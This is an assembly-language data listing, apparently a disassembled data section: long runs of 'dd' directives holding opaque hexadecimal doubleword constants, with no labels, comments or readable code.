dd 0CF6E112Dh, 8EC958BFh, 12463697h, 1B4933Eh, 83DE6254h
dd 14E332CBh, 2DBAE6B7h, 7EA14C43h, 9F8C7E5Bh, 9E0A0415h
dd 0F8B0C622h, 249F739Fh, 30C66158h, 70CC7991h, 189C89EAh
dd 67E776E5h, 84A20FF7h, 9B0AC273h, 0D5074C1h, 0F68B3FEDh
dd 6EC289BDh, 3C4E58CFh, 374F6AEBh, 0AC45216Bh, 2051897Ch
dd 5CC79B0Fh, 0C3B4FF81h, 515662EBh, 1C5C6B50h, 4031D051h
dd 3D015152h, 26262389h, 3EFBE777h, 1B3B989Ch, 4C8714D7h
dd 0BB59619Fh, 95452520h, 3D66EB4Bh, 83D13D0h, 0EF22122Ch
dd 55D1D6F7h, 484CEE36h, 82A19176h, 4745C544h, 169CFD39h
dd 112A2006h, 26E5FDD1h, 9D8E508Bh, 0CF6559D7h, 8C3E9D2Ch
dd 0B953B705h, 0D8AFC141h, 8CE56254h, 0C8A244D2h, 0DE9E5CBEh
dd 0FCAE57FCh, 3F77C11Ah, 13283CC2h, 0FA9164E2h, 0E6327EE2h
dd 0C3BEEE37h, 0C134693Bh, 5DC54E07h, 37C41138h, 51D1A00h
dd 2E901931h, 45879E6Dh, 0C2392FAAh, 0A1A142B8h, 8D71A82h
dd 0F0331A2h, 7868C4C9h, 0ED462A2Bh, 0CD2641D1h, 9CA62C4Ch
dd 0C29CA1B7h, 838D0382h, 0A641EF02h, 88D857F6h, 21795762h
dd 3FBC4C5h, 341C3C98h, 0C0B746D3h, 62BF9E9Ah, 0CBC17E24h
dd 0BBF052F1h, 0E716948Ch, 21B03985h, 6C589B58h, 2FED5408h
dd 80A1438Fh, 4AF2DD2Ch, 68D085D9h, 69C3B039h, 0C2037E32h
dd 0CA1B23A6h, 0FAD1DDB0h, 112065ACh, 9D97A23Eh, 5F3D2099h
dd 696C0245h, 0B692D4CAh, 0F2D81BB5h, 8FC91886h, 0FD10D390h
dd 18D5D816h, 0D1044ABEh, 0E7B5E990h, 3CBAD2DBh, 215FDFF1h
dd 0CFD2AA77h, 0E5FC89FBh, 0EDB7C967h, 765034E2h, 0BC10F7B1h
dd 0F432E4C7h, 1F167B18h, 93B0A2FBh, 0AE7BAA8Ch, 802019CDh
dd 0F8B31335h, 976EBCF5h, 0E8C47E2Dh, 0FAD847A7h, 8CDE9389h
dd 2760558h, 59162246h, 0D4AAC071h, 0B8BB6733h, 211B03C3h
dd 0D5299CB4h, 0E80AD82Ah, 0D1893D5Dh, 61AAB4E4h, 3C82E58Ah
dd 9475F678h, 4C03D40Ah, 314EE99Dh, 0A2D87BD6h, 0C6F990B6h
dd 0EF35EEADh, 0B66182CCh, 1A3994E0h, 7683B3A5h, 254FCD5h
dd 5BF5BA57h, 0F1292E5h, 62210BDDh, 0C22AA59h, 0F6DC5025h
dd 3A3C6A33h, 74FB0B33h, 12B4A35Dh, 19AC1574h, 83633974h
dd 3B647B40h, 0C44D27E9h, 0E7849852h, 81452C06h, 6A6549F3h
dd 0FAEB537Fh, 0E48AE330h, 81F255D1h, 37CD72A5h, 299A8C12h
dd 0F93E75A9h, 2B1D5FF2h, 0F86367A8h, 2649EFDCh, 6D223C7Ah
dd 0B35BEC7Bh, 0F6751CAEh, 0C2E9DC9Fh, 49B8CF9h, 0F7ABE091h
dd 49361751h, 6E521C22h, 5287F0CDh, 93C49384h, 180875BEh
dd 6E728B16h, 54C4814Dh, 0F11BDC1Eh, 0B2E2BD7Ch, 0AAB15FF3h
dd 0C8C14079h, 1708D04Ch, 310D8745h, 94291E9Dh, 59961A54h
dd 0CF3BA4AFh, 7D55B094h, 1AAA2251h, 0BD5E2BB0h, 0EDE5D5D4h
dd 8AFED8C3h, 0D2618A5Eh, 0BA0698C6h, 8C691A9Bh, 0EBAC3952h
dd 0D310D37Dh, 0FA44EA8Ch, 117D5BE2h, 69DB9C8h, 2524BCA4h
dd 0EB23B6Ch, 44A798D1h
dd 1D7D8C85h, 42BF6D2Eh, 0CDF52B72h, 3BFAB670h, 972A5D9h
dd 89920F71h, 0F3B27544h, 48076CE6h, 0E2C675F7h, 7CEAC7CBh
dd 0A5687F23h, 0AFB8AC01h, 27D8697Dh, 29903DECh, 0D71388CFh
dd 0F3589A4Ch, 0B1792418h, 0B8A4ACC2h, 2E6EF14Fh, 59ACE7C2h
dd 3A051357h, 8225D3AAh, 331F5DC8h, 0AC9F6E9Ch, 0EBDB06E1h
dd 0CF411822h, 0FAF566C4h, 3574667Bh, 5A2D2D5Ch, 5E8CFA9Eh
dd 0CC5B1892h, 0D20FD238h, 958F2A60h, 0CCAD3D41h, 0E3A071B8h
dd 37E30FDDh, 83FB2BCh, 830A5943h, 39DF8E3Bh, 22D5CD6h
dd 458A193Bh, 0FA62258Bh, 20A5E483h, 7D52A507h, 83227B09h
dd 989E7948h, 0C6ED4666h, 6FEC552Ah, 5D1306F2h, 3BADDB2Ch
dd 3C10F76Ah, 3B44BC3Fh, 0D1E206C8h, 79E4281Eh, 9826E831h
dd 5C7FF944h, 1CBA9AACh, 93CC27A9h, 0D28CEC6Ah, 0C066D042h
dd 91858CACh, 5E6DE299h, 0EA6241CFh, 57EBC5D5h, 0C615FC32h
dd 0C12E6A02h, 2FD7B13Dh, 0D60764CCh, 0D0E55233h, 72F8FB87h
dd 53318931h, 49939B47h, 7E0C930Ah, 0EDBA24Bh, 366A7F1Fh
dd 0FEBC5CD0h, 0C4697B5Ch, 0A602A36Ah, 0F518B380h, 0E0F58CFDh
dd 46A5D8DDh, 0BEAD2180h, 8EB152B9h, 0F97CC4A6h, 54E30A4Fh
dd 0DB0FF441h, 6640071Ah, 53BFD49Fh, 0EC3655C5h, 90210E30h
dd 44DAD70Fh, 0F77A044Eh, 0D110AD87h, 0E159FDADh, 0DF7FB478h
dd 0F3DA03E3h, 614EB4EDh, 0F7D57064h, 3DD332B2h, 19052999h
dd 0E0B9290Dh, 619137C8h, 0CD890A81h, 5963B56h, 6A8E9798h
dd 0CD0EE44Eh, 6C639989h, 535FC2A5h, 0FA8C74DBh, 6260919Bh
dd 0B6F1FC97h, 3D9857FEh, 0F755E742h, 0EAA87371h, 0ED9F016Eh
dd 513D0CF8h, 6B78E015h, 0C4489ACCh, 1F13C39Bh, 0D98B0E02h
dd 0D4C738FAh, 0A7CCA6DEh, 0FDD468CAh, 6C5A6D81h, 5DEAAB2Fh
dd 7E441AFDh, 5F68C2AAh, 841E919Eh, 4516E1C2h, 0C9CF5F61h
dd 34EE9DE8h, 0E22913B6h, 2E97BC54h, 56A942C7h, 0F5932BD5h
dd 33D93E60h, 9704A78h, 58B23EB2h, 48E3B97h, 7815DAB1h
dd 14D26BBCh, 0B4394D2Dh, 7139055h, 4E542DD2h, 0C0CB9812h
dd 0CA7B1274h, 7E1EB4FDh, 0AC4E4645h, 0D956812h, 0E9FF760Fh
dd 77642659h, 44C0B49Fh, 0C4D4B549h, 85EFD086h, 0E4FC2E83h
dd 4067BC9Eh, 0D6928B0Ah, 0A96212D8h, 0CC6E6432h, 97A8BF4h
dd 0A2FBCC6Ah, 0FB8444Dh, 0E7C440EDh, 0B7F80494h, 73DDA46Ch
dd 82DE7B56h, 0C0B143D6h, 0FCDE5DE5h, 58EE04ADh, 0B7AFE221h
dd 0AA72F06Dh, 1E4C908Ah, 0CBB52B31h, 64449D0Fh, 0B6791232h
dd 0EC7A2C12h, 0B2592137h, 0DA1CACBFh, 91CB48FAh, 6B071628h
dd 5FEDE267h, 5CFA6B21h, 0F1FBE74h, 7294CD02h, 9565DFD6h
dd 0B86E01D1h, 7A543728h, 4E0181B2h, 0A6AEE771h, 25A61469h
dd 7BFED6DBh, 6AD5075h, 0A305A8E1h, 9349525Ah, 19DB1297h
dd 27D5EEBBh, 338D0657h, 6D5E5116h, 50AFD05Ch, 46B47877h
dd 0DD707A9Ah, 0DA6EA993h, 4D63BDE1h, 60EE7C24h, 25B09E1Ah
dd 7B4A5048h, 0AF46F901h, 0D78865DBh, 1ED8B22Ah, 98EF1C2Ah
dd 4F5CA935h, 87FEB0EEh, 32763D12h, 0DF11805Eh, 979FD1EBh
dd 8E4BF36Bh, 0B55812DCh, 6E36E70Eh, 23365F2Fh, 17356FC4h
dd 1988B04Ah, 0F7BE2140h, 8363039Dh, 3D1A7760h, 8EC2190Fh
dd 0EA71CFFEh, 589CE125h, 105F471Ch, 792C6732h, 0A1A4D57Ch
dd 0C00E0BBh, 4826CF7Ch, 0FD00977Ch, 266A1A7Ch, 0EA568EA7h
dd 0BE65A03Ah, 9F163DDAh, 9AD9C272h, 0F6646014h, 6ABBAFE1h
dd 92E2B2F5h, 7FB59DA6h, 0E083A42Fh, 37BB5103h, 0A38A0956h
dd 0E04B091Ch, 8EACFC70h, 0C8A54B65h, 13526A04h, 420BC58Dh
dd 7C1D0B42h, 7EF0C782h, 79DCA603h, 1B065818h, 340FA788h
dd 922739C0h, 6A480FF7h, 6C2A23ADh, 12535D9Ch, 1F8EA460h
dd 1564F4E7h, 8875EC18h, 66B323EEh, 0B9E863BFh, 7151B3C2h
dd 0F99ADA01h, 1133B9C8h, 3104208h, 0DCB639B8h, 0A0DA129Dh
dd 2CBEFEF7h, 0BD675EDAh, 0FF03652h, 1E948E5Eh, 4829F8D4h
dd 0D49A8C37h, 8DC2E49Fh, 2320CEF9h, 722B3BB9h, 0E7C66160h
dd 51A10777h, 536003CFh, 41E40B0Fh, 1021A144h, 1F2690AEh
dd 50F0297Ah, 80E55831h, 4249055Ah, 438B7196h, 0EFE2478Eh
dd 842B36E3h, 387B49D0h, 542232A5h, 3F32722Bh, 0C5D76BDAh
dd 6332600Ah, 3144166Bh, 0D7D49C46h, 0EFA394DEh, 7E940681h
dd 0BD7E715Ch, 284BDF66h, 0E1A7E550h, 2487A4D2h, 0A0DCE677h
dd 2BEC73BCh, 0EED3C610h, 0B2B55B5Dh, 6DDB571h, 0F7E9118Fh
dd 0E1D31739h, 83396142h, 4282200Ah, 0B85D5BAFh, 3BC2E40h
dd 0BCBBD03Ch, 0C8384D5Ch, 22C1A964h, 0F3952B5Eh, 9A5EFCDBh
dd 17B99FA5h, 90BF1F23h, 9573F8E2h, 73860AA8h, 98443F45h
dd 63F21464h, 7F209BAAh, 74231D34h, 0F495E868h, 0FC34B5D6h
dd 0E131A3AAh, 0C080D32Fh, 7D4D863h, 33D9ED50h, 3EC60850h
dd 1740F90h, 2297633Fh, 1F983A05h, 45789CACh, 0D64CB25Fh
dd 36B0B8E7h, 9AE02852h, 9F655206h, 0D773B0F7h, 330DFC5Dh
dd 0D188DC42h, 2ABD1A15h, 87938135h, 2188C52h, 9BD7ABE4h
dd 3AEDAB86h, 16D91439h, 5377D696h, 5F0A26D6h, 52DFC189h
dd 9350CB47h, 0A16294A3h, 4A747ACAh, 2A589EFAh, 306D3E4Fh
dd 0DA2C3A36h, 1B7E9B90h, 306AB0C4h, 0BBD58E7Ch, 0E2931FEh
dd 0C9C4E60Ah, 0B125945Eh, 49F8080Ch, 0B2D12374h, 3A1FF9AFh
dd 0DA84A9A4h, 44EE0DDBh, 6841292Fh, 57AFB904h, 1D6DF6Ch
dd 202FD5E8h, 0A210618Dh, 4EE5A0E6h, 3D84B0ADh, 0F896B118h
dd 0D46BF885h, 438B5134h, 0CE6B6A30h, 7727EEF5h, 33D23D59h
dd 6AD0D242h, 0C04BCC4Eh, 0FB20469Ah, 17071526h, 2F4C8FB7h
dd 0BA9E4C32h, 0CFCE681Ah, 38E1A3C4h, 81238D5Bh, 8F6FA594h
dd 2C55E7A0h, 0AD0F1175h, 0A6934723h, 0F1422CEBh, 880B9FC4h
dd 726FB7DBh, 0DD618102h, 32F8568Eh, 0AA09F5F6h, 566CF822h
dd 0EE5DBFF9h, 0B5900463h, 0C1E560BCh, 8ECF594Dh, 4E95B24Fh
dd 0A9891B47h, 0AD222EF0h, 0A7653E4Ah, 0B12C88DCh, 7F9B06FAh
dd 5C9A28F6h, 747DFB06h, 8298DC53h, 2144638h, 1881542Dh
dd 4A50D32Bh, 3C8F0968h, 7D9D1D6h, 0F5087B08h, 41221F65h
dd 0B91C9456h, 913DA152h, 0C804D008h, 0AD6C2B81h, 1913C40Ah
dd 311B89Eh, 2E11CB02h, 7879C137h, 0CBF0D22h, 0B3B07548h
dd 6BEB8848h, 0B2BC2B64h, 0EBC342BAh, 3B82CD58h, 0D1F0F8D1h
dd 51E01268h, 0F8DA6F9Bh, 2C3D7B00h, 536C8C89h, 23ABE039h
dd 0B1D7A5FBh, 0D56BD88h, 0D8DD88BCh, 12738BE3h, 0A48494CFh
dd 927D259Dh, 0B7F9A26Bh, 0A80EA32Bh, 32A71668h, 0D14E5424h
dd 0F0061594h, 0FEF98481h, 5EFFF3AFh, 0D59CFD93h, 0B51BBBA9h
dd 5FA50B4Ah, 0A460CF03h, 31673EFFh, 0AD627BAFh, 0BFEC55E5h
dd 14B1AF7Fh, 0C2619E98h, 0A6C089F2h, 0A47924DFh, 0E8BB74A3h
dd 0D8075D9Dh, 9164B195h, 0EB70E1E3h, 0E08B6FEh, 0E89874BAh
dd 591E3C5Dh, 25D9077Ch, 29D5BECFh, 5FD64DE3h, 0E9AF289Dh
dd 4D5F7FD9h, 580346FDh, 0A5F8F4D8h, 145DBA64h, 0DBB3EF92h
dd 0B6B928FAh, 44E22405h, 0F1CF1BD5h, 6E5AEDA3h, 5202FB41h
dd 1D851830h, 5FBD20D2h, 0FDBCFC78h, 0EFA9B433h, 215C2BD8h
dd 0FB06CC91h, 5083CC34h, 0FA0A92ADh, 24BD9240h, 0B02D1530h
dd 0AE3E5F80h, 0A302F6E3h, 0A8762B8Ch, 0DBFA4030h, 2D7A6Ah
dd 147B09D6h, 0F7116585h, 82204128h, 0FC4F7A67h, 0E65C5079h
dd 5C73C1B8h, 7037335Bh
dd 8A539CF3h, 0DB6092F3h, 0F8B7D309h, 32ABD868h, 9DAEA9BBh
dd 43278735h, 92A650DDh, 508276BEh, 1B5B6115h, 0DAC670E9h
dd 2A788919h, 8CA69987h, 0DC559041h, 94AB2D6Bh, 0E8094875h
dd 0A7441429h, 0E7E7915Ch, 53F87B22h, 84C982FEh, 0B5CEA964h
dd 504CAD1Eh, 0C60585E7h, 4A525F89h, 0EDAC4011h, 3C2B858Fh
dd 0CE7F5786h, 0A871C052h, 0AC544264h, 0E6162D33h, 9C76C1DEh
dd 9987518Fh, 0BF99CAE4h, 0F91E965h, 0B324B164h, 96FF0A3h
dd 0CC9B8D81h, 945B5BFEh, 0B26783F4h, 0BEF21DA3h, 81BC90E2h
dd 3F77A1D6h, 2AB3EF18h, 0C4802ECFh, 0E6CDE970h, 0F61525F6h
dd 0BA8F82F8h, 2FC3C569h, 0A1E065A7h, 0A89AB371h, 21F0E64Ch
dd 828F532Bh, 0E1E07F1Fh, 459B2B17h, 0D4BFCAA6h, 7582E7Ah
dd 165A6A66h, 87EF0CA8h, 88A1148Ah, 77100C14h, 93A94D72h
dd 0CA9F75C6h, 7584B139h, 180562A5h, 95385B40h, 37883E6Ah
dd 0FC9DAFAFh, 0A6D25A85h, 76319BD2h, 97195FCDh, 14B7B561h
dd 820E5D79h, 0C8067F60h, 0B77D3EF3h, 0C0A3BF0Dh, 5EACE293h
dd 31616DBBh, 44C6B5D9h, 69074B5Bh, 2CA40E21h, 1D1AB88h
dd 80F31929h, 0C96AF82Ch, 0A59DA559h, 5E36E937h, 0C393F0A2h
dd 5F843340h, 0F14A4C8h, 32DA4C26h, 5EDB9D46h, 0DE35AEDAh
dd 64BF9AD4h, 82601014h, 1BE241EAh, 65A7006Ch, 84D21C9Ah
dd 0EDB87F7h, 524222Ah, 71D772FBh, 0D47713E1h, 39DEA56h
dd 76A09B48h, 4880BA67h, 1AB0A87Eh, 0E9D3C362h, 47BAD504h
dd 0A333408Ch, 0F34090B5h, 0D21B9691h, 86E2E6F1h, 4512E92h
dd 0C7602F38h, 9C263444h, 0D46AE3CFh, 0EC915ADFh, 5BDD4CD4h
dd 3E35A358h, 31C00402h, 7AF09C37h, 0D2E6D141h, 51420685h
dd 0B413776Ah, 93FEA505h, 0EBAD983Dh, 3AAFBD70h, 0B28CB7FDh
dd 2231DDA4h, 6FCA6683h, 0E7CC1960h, 899136C5h, 0E2C9697Fh
dd 0D73C6285h, 0D45374F5h, 8E3D97B1h, 2365BE5Ah, 5D695D62h
dd 897E0124h, 9A47C50Ch, 8E8F61F3h, 0F0C0906Bh, 750E9C1Dh
dd 0BD56C5F8h, 0FFB7289Fh, 0FA5445D3h, 0F232964Eh, 76CFE415h
dd 278A4986h, 4A65447Eh, 57B4A466h, 8D657990h, 6C2BA05Ch
dd 4E2EAD5Ch, 7648C801h, 50338399h, 694C44B7h, 0F46DBDEAh
dd 47B92F65h, 69BB15B6h, 645A6838h, 0CAFC3012h, 87B15311h
dd 5E113E95h, 45750C73h, 0FF6AB87Ah, 8B094A2Ah, 48DA9872h
dd 0DFE0368Dh, 0A99FFC80h, 81C46261h, 93ED75AAh, 7C922626h
dd 0C33F405Ah, 0D81A528Dh, 0CB79B746h, 2A34CFF6h, 22A99367h
dd 294EBF55h, 9A960A9Eh, 0B0D6BE66h, 344406F3h, 46B8A02h
dd 9DF7E064h, 0F9F06FFBh, 0CA9418E6h, 1914B595h, 0EE030EAFh
dd 0A885BB0h, 0D64D6C89h, 27655765h, 0B9420685h, 0E147A39Eh
dd 7BAD7091h, 9E91B94Ch, 0FDBF266Fh, 0E13E093Eh, 6D27747Ah
dd 0E6C735B6h, 1A28D967h, 62390BCFh, 346A3DFBh, 3B306198h
dd 41D39102h, 8EF14D14h, 9779CFCFh, 19FB320Bh, 9CA3707Dh
dd 0C7AED730h, 86D038ACh, 0FE653DCDh, 85105C60h, 0F35E1D01h
dd 25316EBh, 6355CA47h, 666B8307h, 8EA7AC2Bh, 953A7FCEh
dd 0D1F5D777h, 63058700h, 8A16DE5Eh, 869AAD26h, 484006A6h
dd 0C6806F16h, 36F27D53h, 32BE520h, 0D4C61187h, 6A059217h
dd 42D1DF27h, 0BC64CF44h, 105FED34h, 6E50938Eh, 0D441F0E2h
dd 88ABEBB8h, 4800FD12h, 3483E7E7h, 3D2B27F8h, 596E206Ch
dd 900BA05Ah, 97E320E9h, 238976A5h, 9C2D11CEh, 0F6C9F1BCh
dd 9D52AA37h, 2A19E37Ah, 0D7BF9B46h, 314AD2FBh, 0F2980728h
dd 7DADC75Ah, 3489B740h, 83F989D2h, 694F6C6Ch, 0D739DBEh
dd 96005503h, 8705C035h, 0A24917E1h, 0C97EE44h, 0E804C636h
dd 0A954BAF1h, 0D2FB9B79h, 0FCFB0E79h, 18689981h, 0A970D487h
dd 1482333Ah, 11F91D36h, 0EDE4E1B5h, 53ABD764h, 0AFB3805Dh
dd 0B6D32EB9h, 0E1BCA165h, 1B9E681Ch, 4A52B6AFh, 72BB8866h
dd 3778902Eh, 0BC7C9753h, 37355D45h, 53FA00A2h, 0DD3AC4C9h
dd 0B48235C2h, 440EF8B0h, 36E469DEh, 464B184h, 0B3D7CEECh
dd 0F7B8853h, 0E25012A2h, 5F78C1E8h, 56E84EA4h, 4815892Ah
dd 0AA84AD3Fh, 0C6AC358Ch, 0BB466D78h, 2022AE4Ah, 109142BAh
dd 690E2B5Ah, 74967DDDh, 2AB06CCh, 5F94F496h, 0E6EFA9E4h
dd 0E31DBBA0h, 6D52D514h, 0B27E62BAh, 4C98C0A5h, 494D3302h
dd 0F9417A8Dh, 2F81C0FEh, 0EB63B50Ah, 0EAEF34DAh, 4E2E481Bh
dd 3A77754Ah, 0E8C7251Ch, 0CC577C58h, 0A0FC660Ah, 85CF877Fh
dd 0F86BC016h, 7BE39F26h, 0E97AC3CDh, 7BAB3A43h, 5C58F84Eh
dd 0F2AC316Fh, 9B05F9C5h, 15E57F85h, 0E2E0ADC9h, 4CE09228h
dd 523C29Ch, 0AF6BC8A4h, 0E13F2539h, 0EC6FCE18h, 6B1A9693h
dd 13427699h, 1A20B66h, 444A55D1h, 9DADA9AEh, 0E2C84915h
dd 0E575C776h, 8DCE78F8h, 0C1CB2B8Dh, 0EEAC696Dh, 0F4B3EDACh
dd 5EFE477Ch, 0DBDEC192h, 6FE8AF97h, 7200BF62h, 0CA805CB0h
dd 264957F2h, 0DBD675B4h, 89165092h, 6A178FA9h, 0C45890B9h
dd 120B9425h, 0D570AFD6h, 457E578Bh, 0B553CC8Dh, 0FB5D6694h
dd 0B0651A2Ch, 0AADCA807h, 839F3A82h, 0B41BC6BBh, 5A3DE3Bh
dd 390F38Ch, 271791E9h, 0AFF48F5Dh, 0F0710C9Bh, 9C9409CDh
dd 2E12A9C6h, 8A0DF34Ch, 997A9FCAh, 0FF27FDCBh, 0B140A852h
dd 6FD55C7Fh, 97EB58BEh, 53A5C3Dh, 89EE6930h, 0ADECD53h
dd 6103F17Ch, 335D959Dh, 8D15868Fh, 0BAB89E3h, 5B037F5Eh
dd 0AD4D5B9h, 900E7C0h, 0C6DACDA4h, 0F74310A6h, 0C09B436Bh
dd 289A66F5h, 6E98654Ah, 0F27D8A0Ah, 2F27F90Dh, 0AEF5E0ADh
dd 0F1EB497Dh, 0CBD2362Dh, 6E507F94h, 0DB591450h, 0AE0FACE3h
dd 0EEB17540h, 9E002EF1h, 0A3D39A65h, 6542372h, 0B1CA4799h
dd 0AA7376F3h, 61902996h, 25F4DEFAh, 0B2136B2h, 0BBCC4C48h
dd 2952D1C4h, 8EE6FD0h, 53BDE730h, 4CED36FFh, 0CDF76BF3h
dd 0FA1241D0h, 0FE62D7E0h, 3A511FDBh, 4F6E8C88h, 5BAAA59h
dd 0CD6A9870h, 8FA208ECh, 0ED8F4BE0h, 68FB9E1Ch, 0D2515CE1h
dd 0FAB33C5Ah, 84A735CBh, 0B578903h, 0D567BAA2h, 84FB96C1h
dd 6663EEE6h, 6CF6AE69h, 62336888h, 5252C685h, 9057EC04h
dd 0CF148CE7h, 2DF813FEh, 0ACD6648Fh, 799CD8D4h, 0E051E992h
dd 0EFA6CE3Fh, 0DAD9753Fh, 0A90F296Bh, 46A151FFh, 0A31ABE94h
dd 14B75DEDh, 0A240673Ah, 0CD59D398h, 0AC52624Bh, 1F2B993Dh
dd 48945B69h, 707C0CF1h, 1C17F8A4h, 8B7BF4AEh, 93C07424h
dd 0E4D01D5Eh, 0FA5B9D9Ah, 0C7661B1Dh, 455AF07Ch, 0F57D592Ch
dd 34CF7B03h, 1215D107h, 9C3177F5h, 0FBA237BAh, 490EDE72h
dd 7181118Fh, 295959B2h, 0C4B9AA67h, 1AD09B82h, 0FCEFC8DCh
dd 0A81B7C41h, 0C6F9FDD1h, 159FB0DDh, 3F599F72h, 116FDCE5h
dd 5F12A3B6h, 74E93154h, 0DC827391h, 0CDC61240h, 77CF24FFh
dd 5392A4BBh, 0A1E3E1F3h, 0DB12E453h, 38C60AA1h, 81004280h
dd 4E1799E6h, 0B8F7F956h, 973A83F6h, 0F1DD568Fh, 0EFACF72Ch
dd 16F95500h, 6B98C7F4h, 692C71C4h, 0FDF75910h, 4853620Ah
dd 0FB332D47h, 60BBCDCAh, 0BEBEDD45h, 41C717E3h, 724C7112h
dd 5B088F5Fh, 0DE3F0D9Ah, 58E6A562h, 0D5C98ADBh, 0FD38564Bh
dd 0B4A2D10Eh, 44E438DFh, 4DA77F2Eh, 51C99087h, 6D96821Ah
dd 0C035538Dh, 4C9A53CEh, 18852313h, 7445FADAh, 2EFF8B2Fh
dd 0F987D6D5h, 2772CDD1h, 1D1C10Ah, 72D76BA7h, 4B2DB07Eh
dd 77488783h, 80465C6Dh
dd 44C0C682h, 0E56ECE25h, 0D9F8475Ch, 20CD5D9Ah, 673EC600h
dd 0D62E95BAh, 9BEC3B02h, 0BAF63B83h, 0D9C697FDh, 0DE3720D9h
dd 77F9B752h, 80533FE1h, 34412B7Eh, 131BA31Dh, 98329C7Fh
dd 563E081Fh, 858B4279h, 4AB2BF1Ah, 0B4F8B69Dh, 0B6F985D3h
dd 4B289B33h, 3DFDF750h, 187F92EAh, 36B5622Ch, 38F2661Eh
dd 2EC3EE8Ah, 7D714229h, 0EF5487DAh, 0DBBCE81Eh, 5B24444Fh
dd 0B5473DDCh, 6D494A84h, 0CF4C8D2Dh, 0C11AC98Ch, 1E278F3Ah
dd 1B22E573h, 0D7FE3CCAh, 63D7DAF8h, 1B13C93Fh, 0BE62F4EDh
dd 32B631D6h, 0DEE8CAD1h, 5202FE79h, 48ED276Fh, 8176FDBBh
dd 0B1E752E4h, 0AE0ED9BFh, 0A096D76Ch, 5D5630B8h, 34B726E1h
dd 9E2914BDh, 0E6CB2A41h, 81C56B6Ah, 0F384E701h, 9950EF92h
dd 0D7CD8499h, 266048Fh, 3F0B7567h, 1DBC43ADh, 17717DA3h
dd 9D148C34h, 65BB554h, 83F81C52h, 76DB2323h, 1C9B485Fh
dd 7DDBAFEDh, 0AE099BF5h, 0D3504854h, 729CD941h, 9E208BEFh
dd 9EF757F6h, 0E250945Eh, 8CB2D0C1h, 0B0E56A95h, 93B52DF7h
dd 43515967h, 9AEB0101h, 3C4F6163h, 0F12FFCDEh, 0C707BBB4h
dd 0E4A5A269h, 5AE151C5h, 18A3715Bh, 7EC48373h, 0A6045624h
dd 0F3A0339Bh, 8FCFDCF2h, 0A22D0742h, 4116B8CAh, 34F53AA5h
dd 70D3563Ah, 0CAB87A03h, 0BF1F0505h, 0C2CF90C1h, 85AF1E7Dh
dd 0E2D84C9Fh, 8A6CF9CBh, 0BB6B5EDCh, 0B78BC36h, 433CB356h
dd 83EFAF22h, 8477EF50h, 15D8D124h, 550E4AEAh, 1C45C5EAh
dd 99790025h, 0CD1DDEF2h, 570498FAh, 24B1B51h, 0A8CB9BAAh
dd 689B92EEh, 56F5753Ch, 9C548105h, 0E4E19FACh, 90AF96A1h
dd 627FA53Eh, 97A0D086h, 0A37ECED9h, 4C7FFA7Ah, 0FAA0F102h
dd 0DAB46821h, 0F10F6C24h, 6387762Eh, 93227A8Ah, 36DAFAB3h
dd 0DB79796Dh, 2DD6DF71h, 6355E3C0h, 6951B1C2h, 220CA7D6h
dd 0E7BC41B5h, 69263BE9h, 0CDFE121Eh, 0E90B36BBh, 878ACC8Ah
dd 7DC8DB13h, 81B055CBh, 0D0FB3D60h, 0FC954B43h, 0BA0FE4E7h
dd 0BFAE8B77h, 55DA17C8h, 0EED6CA9Ah, 0B11C2AA3h, 0E0BA5A91h
dd 3A37FF0Dh, 0C49B46B2h, 53BF2B8Ah, 2EE87E97h, 0A65BF12Bh
dd 0DED8884Ah, 0A483BD76h, 5C12A495h, 0D6DE50DEh, 65BD9F26h
dd 530E0380h, 77B9751Ch, 0E00F29DEh, 0ABDD42BEh, 237D4436h
dd 8C26AD6Ch, 0E9D8081Dh, 0E29E2FABh, 829D4DB6h, 19485BFh
dd 0FF2EAD21h, 8E41BADEh, 750BA7DDh, 80AEF581h, 0B143246Ah
dd 34E06CBh, 85D55560h, 74339006h, 0B6D63749h, 0F37B2958h
dd 42D8E585h, 86CFE872h, 972C9B65h, 8AEEF36h, 0C864F073h
dd 7E37877Dh, 8D0EC09Bh, 0C99669EDh, 0AA81D817h, 0A29F041Bh
dd 0B52C8D10h, 870218E7h, 45ACF076h, 7FC6A697h, 30D6A785h
dd 44093D38h, 0D734F272h, 99699D87h, 0BA08DDBDh, 0B15BA262h
dd 0C80F3ED8h, 5417A404h, 0C1FDB8CFh, 0FC72932Dh, 5460D14Dh
dd 73C4C221h, 45124449h, 9A7268F9h, 5A2A5584h, 0C6270E9Fh
dd 1AFED006h, 38892960h, 0F7FF0855h, 8B8AF66h, 966ED848h
dd 7ED7B73Dh, 5C9C95B8h, 347709DDh, 0A3F1B7BAh, 0E9F7968Eh
dd 0A80E676Ch, 0D238135Ch, 31C7925Eh, 0B7BEE65Eh, 0C67B8F4Ah
dd 0ABD6511Fh, 7F7A9A5Ah, 81AA8315h, 80670601h, 0A6EE7D2Fh
dd 1CB45A5Eh, 0E7949859h, 4AA42A29h, 1E1C3B4Ah, 1C3481C3h
dd 0F30DF3E0h, 0EA807406h, 0F0DFC4A3h, 0A99E97E4h, 0CB7C10A1h
dd 1B73A9E7h, 51962A5Eh, 9E9A7B4Eh, 0E7B5869Fh, 0DDFFF53h
dd 83873DA0h, 0F744F445h, 0EDFE8DA7h, 0E2E93478h, 3548639Bh
dd 0C8451E6h, 2D78B621h, 5D3CA9E7h, 0FD75536Ch, 0FE7D06EFh
dd 19184101h, 55E67330h, 9369D382h, 0F050D52Dh, 0DA0600FAh
dd 0EE452B39h, 0B872D441h, 0FAF0D5A6h, 0B88B8770h, 3C0C62F9h
dd 0C18D3E4Ah, 9338A429h, 0D4FC44CAh, 491EA589h, 882615Ah
dd 0AAC58758h, 0DAEA92DCh, 4CFCF5F7h, 5AFB63F1h, 0A2FFB8B7h
dd 3DDB8B28h, 539FF38Ah, 24A0B2A6h, 0ED26AB91h, 0B821F592h
dd 0F3383930h, 7A05FAB3h, 79D209AFh, 0A9F6FF2Eh, 835CBDC8h
dd 1AA39B87h, 294378EEh, 581AE765h, 70B399D1h, 4F8ED41h
dd 83ED2259h, 5A8C12A0h, 50455356h, 0DFFC39D7h, 0E6CB1447h
dd 5F6C3497h, 0D7384575h, 0EE8552AEh, 249E24B9h, 0AA08313Ah
dd 0E76DDBEEh, 0A60504ABh, 0C888F857h, 0D1B935Dh, 8177E703h
dd 9B0838A4h, 0E0650251h, 4FEB3FEEh, 84B71A16h, 9F859C60h
dd 0ED42FE30h, 8EBB62CDh, 0C8E347BAh, 0CC4D73F9h, 0F8C2460Bh
dd 8325E8BCh, 0E0BFF8D1h, 1832D82Ch, 4AA0B2Ch, 67D466C8h
